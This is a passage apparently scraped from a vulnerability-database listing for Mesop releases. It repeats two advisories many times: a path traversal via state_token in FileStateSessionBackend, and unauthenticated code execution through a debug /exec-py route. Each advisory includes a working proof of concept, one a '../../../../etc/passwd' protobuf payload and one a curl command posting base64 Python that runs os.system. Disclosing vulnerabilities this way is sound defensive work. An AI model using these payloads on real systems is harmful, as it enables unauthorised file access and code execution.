When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 13, 2025

0.14.2rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 04, 2025

0.14.2b2 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 14, 2025

0.14.2b1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 02, 2025

0.14.1 patch

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


